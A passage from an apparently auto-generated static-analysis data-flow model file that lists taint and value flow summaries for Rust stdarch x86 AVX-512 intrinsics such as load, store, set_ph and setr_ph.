["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxnor", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxor", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_si512", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_si512", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_mask2int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_si512", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_si512", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_mask_load_sd", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_mask_load_ss", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_store_mask16", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[16]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[17]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[18]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[19]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[20]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[21]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[22]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[23]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[24]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[25]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[26]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[27]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[28]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[29]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[30]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[31]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[16]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[17]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[18]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[19]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[20]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[21]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[22]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[23]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[24]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[25]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[26]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[27]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[28]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[29]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[30]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[31]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_load_sh", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_mask_load_sh", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_sh", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", 